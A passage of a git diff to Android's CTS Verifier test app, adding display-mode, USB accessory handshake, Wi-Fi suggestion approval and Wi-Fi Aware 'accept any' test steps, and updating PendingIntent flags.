+                        new Mode(1280, 720, 50f),
+                        new Mode(1280, 720, 60f),
+                        // 1080p modes
+                        new Mode(1920, 1080, 24f),
+                        new Mode(1920, 1080, 25f),
+                        new Mode(1920, 1080, 30f),
+                        new Mode(1920, 1080, 50f),
+                        new Mode(1920, 1080, 60f),
+                    };
+            getAsserter()
+                    .withMessage("Display.getSupportedModes()")
+                    .that(Arrays.asList(display.getSupportedModes()))
+                    .comparingElementsUsing(MODE_CORRESPONDENCE)
+                    .containsAtLeastElementsIn(expected1080pSupportedModes);
+        }
+    }
+
+    private static class TvPanelReportedModesAreSupportedTestStep extends YesNoTestStep {
+        public TvPanelReportedModesAreSupportedTestStep(TvAppVerifierActivity context) {
+            super(context, getInstructionText(context), R.string.tv_yes, R.string.tv_no);
+        }
+
+        private static String getInstructionText(Context context) {
+            DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            String supportedModes =
+                    Arrays.stream(display.getSupportedModes())
+                            .map(DisplayModesTestActivity::formatDisplayMode)
+                            .collect(Collectors.joining("\n"));
+
+            return context.getString(
+                    R.string.tv_panel_display_modes_reported_are_supported, supportedModes);
+        }
+    }
+
+    private static class TvPanelSupportedModesAreReportedTestStep extends YesNoTestStep {
+        public TvPanelSupportedModesAreReportedTestStep(TvAppVerifierActivity context) {
+            super(context, getInstructionText(context), R.string.tv_no, R.string.tv_yes);
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(R.string.tv_panel_display_modes_supported_are_reported);
+        }
+    }
+
+    // We use a custom Mode class since the constructors of Display.Mode are hidden. Additionally,
+    // we want to use fuzzy comparison for frame rates which is not used in Display.Mode.equals().
+    private static class Mode {
+        public int mWidth;
+        public int mHeight;
+        public float mRefreshRate;
+
+        public Mode(int width, int height, float refreshRate) {
+            this.mWidth = width;
+            this.mHeight = height;
+            this.mRefreshRate = refreshRate;
+        }
+
+        public boolean isEquivalent(Display.Mode displayMode, float refreshRatePrecision) {
+            return mHeight == displayMode.getPhysicalHeight()
+                    && mWidth == displayMode.getPhysicalWidth()
+                    && Math.abs(mRefreshRate - displayMode.getRefreshRate()) < refreshRatePrecision;
+        }
+
+        @Override
+        public String toString() {
+            return formatDisplayMode(mWidth, mHeight, mRefreshRate);
+        }
+    }
+
+    private static class ModeSubject extends Subject {
+        private final Display.Mode mActual;
+
+        public ModeSubject(FailureMetadata failureMetadata, @Nullable Display.Mode subject) {
+            super(failureMetadata, subject);
+            mActual = subject;
+        }
+
+        public void isEquivalentToAnyOf(final float refreshRatePrecision, Mode... modes) {
+            boolean found = Arrays.stream(modes)
+                    .anyMatch(mode -> mode.isEquivalent(mActual, refreshRatePrecision));
+            if (!found) {
+                failWithActual("expected any of", Arrays.toString(modes));
+            }
+        }
+    }
+
+    private static String formatDisplayMode(Display.Mode mode) {
+        return formatDisplayMode(
+                mode.getPhysicalWidth(), mode.getPhysicalHeight(), mode.getRefreshRate());
+    }
+
+    private static String formatDisplayMode(int width, int height, float refreshRate) {
+        return String.format("%dx%d %.2f Hz", width, height, refreshRate);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
index 9220001..512162c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -23,6 +23,10 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.hardware.usb.UsbAccessory;
 import android.hardware.usb.UsbManager;
 import android.os.AsyncTask;
@@ -49,6 +53,8 @@
 import java.nio.charset.Charset;
 import java.util.Arrays;
 import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Guide the user to run test for the USB accessory interface.
@@ -63,6 +69,11 @@
     private TextView mStatus;
     private ProgressBar mProgress;
 
+    private BroadcastReceiver mUsbAccessoryHandshakeReceiver;
+
+    private Boolean mAccessoryStart = false;
+    private CompletableFuture<Void> mAccessoryHandshakeIntent = new CompletableFuture<>();
+
     @Override
     protected void onCreate(@Nullable Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -78,6 +89,22 @@
         getPassButton().setEnabled(false);
 
         AccessoryAttachmentHandler.addObserver(this);
+
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(UsbManager.ACTION_USB_ACCESSORY_HANDSHAKE);
+
+        mUsbAccessoryHandshakeReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                synchronized (UsbAccessoryTestActivity.this) {
+                    mAccessoryStart = intent.getBooleanExtra(
+                            UsbManager.EXTRA_ACCESSORY_START, false);
+                    mAccessoryHandshakeIntent.complete(null);
+                }
+            }
+        };
+
+        registerReceiver(mUsbAccessoryHandshakeReceiver, filter);
     }
 
     @Override
@@ -85,6 +112,8 @@
         mStatus.setText(R.string.usb_accessory_test_step2);
         mProgress.setVisibility(View.VISIBLE);
 
+        final long accessroyStarTime = 3 * 1000;
+
         AccessoryAttachmentHandler.removeObserver(this);
 
         UsbManager usbManager = getSystemService(UsbManager.class);
@@ -243,6 +272,15 @@
                                     ResultUnit.KBPS);
                             Log.i(LOG_TAG, "Read data transfer speed is " + speedKBPS + "KBPS");
 
+                            nextTest(is, os, "Receive USB_ACCESSORY_HANDSHAKE intent");
+
+                            mAccessoryHandshakeIntent.get(accessroyStarTime,
+                                    TimeUnit.MILLISECONDS);
+                            assertTrue(mAccessoryStart);
+
+                            unregisterReceiver(mUsbAccessoryHandshakeReceiver);
+                            mUsbAccessoryHandshakeReceiver = null;
+
                             nextTest(is, os, "done");
                         }
                     }
@@ -300,6 +338,10 @@
     protected void onDestroy() {
         AccessoryAttachmentHandler.removeObserver(this);
 
+        if (mUsbAccessoryHandshakeReceiver != null) {
+            unregisterReceiver(mUsbAccessoryHandshakeReceiver);
+        }
+
         super.onDestroy();
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 4bbcddc..faee07a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -151,7 +151,7 @@
 
                             mUsbManager.requestPermission(device,
                                     PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
-                                            new Intent(ACTION_USB_PERMISSION), 0));
+                                            new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
                             break;
                         case ACTION_USB_PERMISSION:
                             boolean granted = intent.getBooleanExtra(
@@ -1588,7 +1588,7 @@
 
                             mUsbManager.requestPermission(device,
                                     PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
-                                         new Intent(ACTION_USB_PERMISSION), 0));
+                                         new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
                             break;
                     }
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
index fa42d82..434540e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
@@ -261,7 +261,7 @@
             mUsbManager.requestPermission(
                     mUsbDevice,
                     PendingIntent.getBroadcast(
-                            MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), 0));
+                            MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), PendingIntent.FLAG_MUTABLE_UNAUDITED));
 
             latch.await();
             assertTrue(mUsbManager.hasPermission(mUsbDevice));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
index 74146f1..23477c2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
@@ -279,14 +279,14 @@
         pass.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
         pass.setData(Uri.parse(pass.toUri(Intent.URI_INTENT_SCHEME)));
         final PendingIntent passPendingIntent = PendingIntent.getBroadcast(context, 0, pass,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         final Intent fail = new Intent(context, WidgetCtsProvider.class);
         fail.setAction(WidgetCtsProvider.FAIL);
         fail.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
         fail.setData(Uri.parse(fail.toUri(Intent.URI_INTENT_SCHEME)));
         final PendingIntent failPendingIntent = PendingIntent.getBroadcast(context, 0, fail,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         rv.setOnClickPendingIntent(R.id.pass, passPendingIntent);
         rv.setOnClickPendingIntent(R.id.fail, failPendingIntent);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
index 1a829f2..0ec1d76 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
@@ -39,6 +39,8 @@
 import android.util.Log;
 import android.util.Pair;
 
+import androidx.core.os.BuildCompat;
+
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.wifi.BaseTestCase;
 import com.android.cts.verifier.wifi.CallbackUtils;
@@ -75,8 +77,10 @@
     private NetworkRequest mNetworkRequest;
     private CallbackUtils.NetworkCallback mNetworkCallback;
     private ConnectionStatusListener mConnectionStatusListener;
+    private UserApprovalStatusListener mUserApprovalStatusListener;
     private BroadcastReceiver mBroadcastReceiver;
     private String mFailureReason;
+    private int mUserApprovedStatus = WifiManager.STATUS_SUGGESTION_APPROVAL_UNKNOWN;
 
     private final boolean mSetBssid;
     private final boolean mSetRequiresAppInteraction;
@@ -156,6 +160,24 @@
         }
     }
 
+    private class UserApprovalStatusListener implements
+            WifiManager.SuggestionUserApprovalStatusListener{
+        private final CountDownLatch mCountDownLatch;
+
+        UserApprovalStatusListener(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+        @Override
+        public void onUserApprovalStatusChange(int status) {
+            mUserApprovedStatus = status;
+            if (status == WifiManager.STATUS_SUGGESTION_APPROVAL_PENDING
+                    || status == WifiManager.STATUS_SUGGESTION_APPROVAL_UNKNOWN) {
+                return;
+            }
+            mCountDownLatch.countDown();
+        }
+    }
+
     // TODO(b/150890482): Capabilities changed callback can occur multiple times (for ex: RSSI
     // change) & the sufficiency checks may result in ths change taking longer to take effect.
     // This method accounts for both of these situations.
@@ -219,6 +241,15 @@
         mWifiManager.addSuggestionConnectionStatusListener(
                 Executors.newSingleThreadExecutor(), mConnectionStatusListener);
 
+        final CountDownLatch userApprovalCountDownLatch = new CountDownLatch(1);
+        if (BuildCompat.isAtLeastS()) {
+            mUserApprovalStatusListener = new UserApprovalStatusListener(
+                    userApprovalCountDownLatch);
+            mWifiManager.addSuggestionUserApprovalStatusListener(
+                    Executors.newSingleThreadExecutor(), mUserApprovalStatusListener);
+
+        }
+
         // Step: Register network callback to wait for connection state.
         mNetworkRequest = new NetworkRequest.Builder()
                 .addTransportType(TRANSPORT_WIFI)
@@ -238,6 +269,27 @@
             setFailureReason(mContext.getString(R.string.wifi_status_suggestion_add_failure));
             return false;
         }
+        // Step: Ask user to approval the suggestion.
+        if (BuildCompat.isAtLeastS()) {
+            if (mUserApprovedStatus != WifiManager.STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER) {
+                mListener.onTestMsgReceived(mContext.getString(
+                        R.string.wifi_status_suggestion_wait_for_user_approval));
+            }
+            if (!userApprovalCountDownLatch.await(CALLBACK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                setFailureReason(mContext.getString(
+                        R.string.wifi_status_suggestion_user_approval_status_failure));
+                return false;
+            }
+            if (mUserApprovedStatus != WifiManager.STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER) {
+                setFailureReason(mContext.getString(
+                        R.string.wifi_status_suggestion_user_approve_failure));
+                return false;
+            }
+        } else {
+            mListener.onTestMsgReceived(mContext.getString(
+                    R.string.wifi_status_suggestion_wait_for_user_approval));
+        }
+
         if (DBG) Log.v(TAG, "Getting suggestion");
         List<WifiNetworkSuggestion> retrievedSuggestions = mWifiManager.getNetworkSuggestions();
         if (!Objects.equals(mNetworkSuggestions, retrievedSuggestions)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
index d560702..888c4cb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
@@ -27,6 +27,6 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
-                /* isUnsolicited */ false, /* usePmk */ false);
+                /* isUnsolicited */ false, /* usePmk */ false, /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
index 78562ac..9bfd9d1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
@@ -27,6 +27,6 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
-                /* isUnsolicited */ true, /* usePmk */ false);
+                /* isUnsolicited */ true, /* usePmk */ false, /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..0888e5e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, solicited publish
+ */
+public class DataPathOpenSolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
+                /* isUnsolicited */ false, /* usePmk */ false, /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_open_solicited_publish,
+                R.string.aware_data_path_open_solicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
index c3007b5..2bd5313 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
@@ -29,7 +29,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
-                /* isUnsolicited */ false, /* usePmk */ false);
+                /* isUnsolicited */ false, /* usePmk */ false, /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..ed9e17a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, unsolicited publish
+ */
+public class DataPathOpenUnsolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
+                /* isUnsolicited */ true, /* usePmk */ false, /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_open_unsolicited_publish,
+                R.string.aware_data_path_open_unsolicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
index 6c49635..6d7e8ca 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
@@ -29,7 +29,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
-                /* isUnsolicited */ true, /* usePmk */ false);
+                /* isUnsolicited */ true, /* usePmk */ false, /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
index a8205a8..e5f77e9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
@@ -27,6 +27,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ false);
+                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ false,
+                /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
index d8d9a3f..46413c3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
@@ -27,6 +27,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ false);
+                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ false,
+                /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..2a24d85
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, passphrase, solicited publish
+ */
+public class DataPathPassphraseSolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ false,
+                /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_passphrase_solicited_publish,
+                R.string.aware_data_path_passphrase_solicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
index e820428..9c06b5d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
@@ -29,7 +29,8 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ false);
+                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ false,
+                /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..2616357
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, passphrase, unsolicited publish
+ */
+public class DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ false,
+                /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_passphrase_unsolicited_publish,
+                R.string.aware_data_path_passphrase_unsolicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
index ab17432..601f75b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
@@ -29,7 +29,8 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ false);
+                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ false,
+                /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java
index 1eb27a8..11c1e64 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java
@@ -27,6 +27,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ true);
+                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ true,
+                /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java
index 255877f..28f6c76 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java
@@ -27,6 +27,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ true);
+                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ true,
+                /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..69cdfd2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
